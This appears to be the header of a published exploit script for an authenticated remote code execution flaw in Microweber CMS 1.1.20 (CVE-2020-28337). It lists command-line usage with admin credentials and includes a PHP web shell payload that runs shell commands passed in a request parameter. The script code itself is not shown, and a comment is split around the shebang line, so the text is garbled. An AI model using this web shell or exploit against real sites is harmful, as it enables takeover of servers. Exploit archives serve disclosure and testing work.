# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)
# Date: 2020-10-31
# Exploit Author: sl1nki
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
# Version: <=1.1.20
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-28337
#
# Example usage with default phpinfo() payload:
# ./microweber_rce.py \
# --hostname "http://microwebertest.com" \
# --username "admin" \
# --password "password123"
#
#
# Example usage with custom payload (shell_exec):
# ./microweber_rce.py \
# --hostname "http://microwebertest.com" \
# --username "admin" \
# --password "password123" \
# --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
#
# Notes:
# * SSL verification is disabled by default
# * If for some reason the --target-path "/userfiles/cache

#!/usr/bin/python3

#/" doesn't work, "/userfiles/modules/" is a good one too.
